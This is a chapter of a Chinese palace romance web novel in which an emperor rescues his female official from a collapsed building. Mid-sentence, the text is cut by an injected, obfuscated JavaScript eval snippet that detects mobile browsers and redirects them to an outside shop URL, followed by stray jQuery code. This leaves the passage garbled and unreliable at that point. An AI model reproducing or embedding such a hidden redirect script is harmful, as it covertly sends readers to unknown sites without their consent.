文趣网 > 其他小说 > 朕的御前女官总想离职 > 34. 朕要你们全都给她陪葬
    姜婉宁快速追到门口,眼见着那道身影消失在拐角处,麦冬也跟了上来,她垂眸思索片刻,“今儿先查到这吧。”

    那些人竟如此胆大包天,在宫里都敢对她下手,姜婉宁决定先回紫宸殿。

    但她对宫里的路不熟,为了尽快赶回紫宸殿,在麦冬的引导下,主仆俩走上了一条偏僻的小路。

    姜婉宁通过阳光判断了一下大致方位,这条小路从偏僻的库房斜穿宫苑花园,就能抵达紫宸殿。

    二人埋头赶路,途经一处姜婉宁并不认识的宫殿,宫殿四周搭满了脚手架,看上去正在修缮。

    在她刚要路过的时候,“啪嗒”一声响,吸引了姜婉宁的注意。她脚步不停,向那宫殿张望了一下,只见刚才的响声应该是高处宫人弄掉了什么东西。

    抱厦处一个踩着高高梯子的宫人左摇右晃,不知是不是刚才弄掉东西导致的,姜婉宁连忙喊着麦冬一起上前帮忙扶住梯子。

    说时迟那时快,姜婉宁刚迈进抱厦,走到梯子跟前,四周的脚手架噼里啪啦陆续散架,整个抱厦的顶部轰然倒塌。

    顷刻间,木架伴随着砖石将姜婉宁和麦冬二人埋了进去,无数碎石四溅,灰尘漫天,不消片刻,四周又恢复了一片寂静。

    消息传回紫宸殿,贺骁瞬间脸色惨白。他不顾群臣非议,直奔修缮的宫殿而去,几个阔步之后足尖轻点,运起轻功,宛如惊雷掣电般掠过重重宫墙,宝顺在后面紧赶慢赶地追不上。

    一路狂奔到修缮的宫殿,贺骁面对一片废墟,双眼猩红。

    他一把推开挡在身前的禁军,顾不上满地的碎石瓦砾,直接单膝跪地,大手扣住一节断木,就要将其掀开。

    立马有宫人和侍卫赶了过来,纷纷跪在贺骁四周劝阻。

    “陛下!您乃万金之躯,切不可冲动!”

    “陛下!臣等会救出姜大人的,请您移步安全的地方等待!”

    “陛下……”

    贺骁只能看见众人嘴唇翕动,根本听不见声音,脑海里只有姜婉宁黄鹂般悦耳的笑声和时而笃定时而狡黠的话语:

    “陛下,臣查清楚这些,能给您省好多银子呢!”

    “陛下,账目盘清楚了,捡回来的钱有没有臣的份?”

    “这还不明摆着?小小贪官,拿捏!”

    贺骁拨开阻挡在前的宫人与侍卫,仍想上前。

    此时裴亦遥领着一队人马疾步赶来,见状惊出一身冷汗。他顾不得君臣之仪,上前揽住了贺骁的肩膀,压低声音急切道:“陛下不顾自己,也得替姜……先生想想吧!”

    “滚开!”贺骁一把挣脱他,暴戾的气息压得人喘不过气。

    “陛下!”裴亦遥拼命拦住他,咬牙切齿道:“您是天子!您若今日在这废墟为她徒手挖出一条血路,明儿御史台的唾沫就能把她淹死!”

    贺骁身体一僵,恢复些许理智,他死死盯着那片废墟,手底的断木刺进掌心也浑然不觉。他的胸膛剧烈起伏着,缓缓站起身,深吸一口气,嘶哑的嗓子低吼一声:“给朕挖!半个时辰内,若见不到人,今天负责修缮的所有人,全去给她陪葬!”

    众人再不敢耽搁,一砖一瓦的清理废墟。

    当一名宫人挪开一片碎瓦的时候,一只纤细的手腕露了出来。

    “找到人了!”不知道谁喊了一声,贺骁听见便再次不管不顾地冲上前去。

    随着瓦砾被清理开,那条手腕延伸而上的臂膀也都能够窥见,不是女官的朱红衣袍,而是宫女青色服饰。

    贺骁薄唇紧抿,无形的给宫人们施加威压,众人动作迅速中带着十分的小心翼翼。

    先露出来的是麦冬,她用自己的身躯护住了姜婉宁。

    此时已经有司药司的医女等候在一旁,麦冬被拖出来以后,下面双手抱头,身体蜷缩在一起的姜婉宁,也暴露出来。

    贺骁看见那一抹朱红,本想冲上前去,但脚底好像扎了根,动弹不得。

    他看见她苍白的小脸失去血色,不画而黛的眉毛上沾染了尘土,在其他人拽着姜婉宁的胳膊想要把她转移时,贺骁又大步上前,阻拦了下来。

    贺骁把人半抱在自己怀里,用衣袖轻柔地擦掉她脸上的灰尘,又掸了掸她身上的尘埃,双臂毫不费力地把人托起,他自己都没发现,双手在微微颤抖。

    贺骁喉结滚了两下,踩着一地的碎瓦砾,大步往紫宸殿而去。

    中途有小内侍抬了软榻过来,但贺骁紧绷着下颌线,理都没理,一路紧绷着双臂,姜婉宁很轻,他抱着毫不费力,但怀里的女人好像一件易碎的工艺品,他生怕自己没掌握好力度,弄疼了她。

    进入紫宸殿,贺骁直接带着姜婉宁奔着自己的正殿而去,进入内室,把她安置在了自己的龙榻之上。

    司药司跟来了两名女官,想帮姜婉宁检查伤势。贺骁伫立在一旁,没有回避的意思。

    女官手脚利落地除去了姜婉宁身上的官袍,身上只剩一层亵衣,只见那纤细的胳膊和脚踝上都遍布着青紫的痕迹,贺骁的心像被钝刀子割过一样,只能一再叮嘱:“轻一点。”

    宝顺在一旁看着贺骁,犹豫着要不要提醒一下。

    直到看到医女把姜婉宁翻过身,贺骁看见那一片毫无遮挡的雪白背脊,只在纤腰间横着一根细带,他握拳掩唇低咳两声,但目光却怎么也挪不开。

    不一会儿,女官检查完,向贺骁汇报道:“大人身上有多处瘀伤,但没有伤筋动骨,您放心。”

    这时,去尚药局传御医的小内侍来报,说御医到了。

    贺骁下意识地问了句:“今天是哪位御医当差?”

    小内侍愣了一瞬,恭敬回道:“回陛下,是温御医。”

    贺骁蹙眉,怎么最近温书瑾当值这么频繁?

    小内侍见贺骁面色阴沉,哆嗦着问了句:“陛下,还传御医吗?”

    贺骁又侧过头,看了看趴在床上毫无知觉的姜婉宁,神色晦暗了几分,道:“不必了。叫医女向御医汇报一下情况。”

    两名医女低声应是,还没走出内室,贺骁又道:“等等,把床帐放好,遮住了,让御医进来把脉。”

    贺骁长臂一伸,把床内侧的薄被拽了过来,给姜婉宁盖了个严严实实。待医女把床帐放好,姜婉宁只露出一条手腕,以便诊脉。

    温书瑾进来的时候,只见从床帐里伸出来的一条雪白皓腕,上面一条触目惊心的黑紫瘀痕。他从医药箱里取出白棉绢和脉枕,小心翼翼地覆在姜婉宁的手腕上,又轻柔地搭上双指,凝神号脉。

    片刻,温书瑾吁了口气,再次确认了姜婉宁没有被伤及肺腑,只是受了惊吓,这才昏厥过去。

    “陛下,可要臣施针唤醒姜大人?”温书瑾承认自己有点私心,施针的话必要拉开床帐,就得以

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701189|208182||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    看见那张他期盼中的脸了。

    贺骁居高临下的盯着温书瑾,沉吟片刻道:“不必。既无内伤,温御医便开些调理身体的汤药吧。”

    温书瑾低声应是,敛起眼眸里那一份期盼,开了张调养的方子给医女留下,便提着药箱离去了。

    姜婉宁没有昏迷太久,悠悠转醒,才发现自己躺在床榻上,但不是自己熟悉的西偏殿。

    贺骁正坐在床榻边上,手里翻看着一本兵书。

    此时的姜婉宁身着衬衣,见到贺骁的第一反应是马上起身行礼,但由于起身的动作抻到了后背的伤处,疼得她皱了皱眉。

    贺骁在姜婉宁醒来的第一时间就发现了,但他克制着自己不要表现得太紧张,谁知道这个女人竟莽莽撞撞直接坐起来。

    因为起伏动作太大,躺着时平整的交领,坐起身后褶皱着敞开了一个口子,得以窥见内里的素色诃子贴着细腻的肌肤。纤长的脖颈延伸下去,锁骨显露好似泛着光。

    贺骁别过脸去,耳根泛红,沉声道:“躺好,别动。”

    姜婉宁又乖乖躺了下去,见自己身上衣物单薄,扯了扯被子,脸上也泛起一抹红晕。

    “陛下,麦冬呢?她怎么样了?”姜婉宁回想起来,在抱厦坍塌的那一刻,麦冬扑到她身上,替她挡住了大半倾轧过来的砖石瓦砾。

    “人没死。”贺骁的声音中蕴含着一丝怒火:“查账便查账,何故去那么危险的地方?”

    姜婉宁这会也回过神来,本就有尚服局库房的意外在前,这次显然也是有心人为之。

    只是不知负责修缮的宫人是被人利用了,还是甘愿拿自己的命来置她于死地。不过都不重要了,姜婉宁想到还是有点后怕,忍不住眼眶蓄满了泪水,又咬着嘴唇,眼泪顺着眼尾滑进了鬓角。

    贺骁看她这副担惊受怕又委屈的样子,怒火全然消散,只剩心疼萦绕在心头。

    姜婉宁全然没有了白天工作时冷静理智的模样,攥着被角,嘴唇哆嗦着说:“这次臣是真的不知,究竟是六局的人怕臣查到什么,还是前朝那些人……一计不成还有一计,就是奔着要臣的命来的。”

    贺骁已经全然了解了库房的事,也处置了一批人,这会声音不自觉轻柔了几分,安慰道:“朕会叫人彻查的。你只管养好身体。”

    话停在这,贺骁握了握拳,低垂着眼眸,沉声道:“朕把带你进库房的女史还有修缮宫殿的宫人……朕让黑鹰撬开他们的嘴以后,全都杖毙了,先替你出一口恶气。”

    姜婉宁听到贺骁为自己的事儿处置了几条人命,一时心底五味杂陈。

    她更加深刻地认识到自己所处的这个封建社会,尤其是这会吃人的皇宫。

    不能再像以前一样,还用着法制社会的惯性思维对待这些人,亦或是觉得在贺骁的庇护下就万无一失,必须得自己强大起来,甚至培养自己的人手。

    “多谢陛下。”姜婉宁轻轻道,声音里还带着一丝委屈,显得格外婉转。

    贺骁眼前又浮现出之前姜婉宁只着亵衣的一幕,滚了滚喉结,压下眼尾那一抹异色:“既然无事了,你便早点歇息。这几天什么也不许忙,专心养伤。”

    贺骁站起身,竟打算把自己休憩的内室留给姜婉宁,踱步到门口,他侧过头道:“幕后的人,既然已经搭好了台子,咱们就等着好戏开唱,朕定不会轻饶了他,你放心。”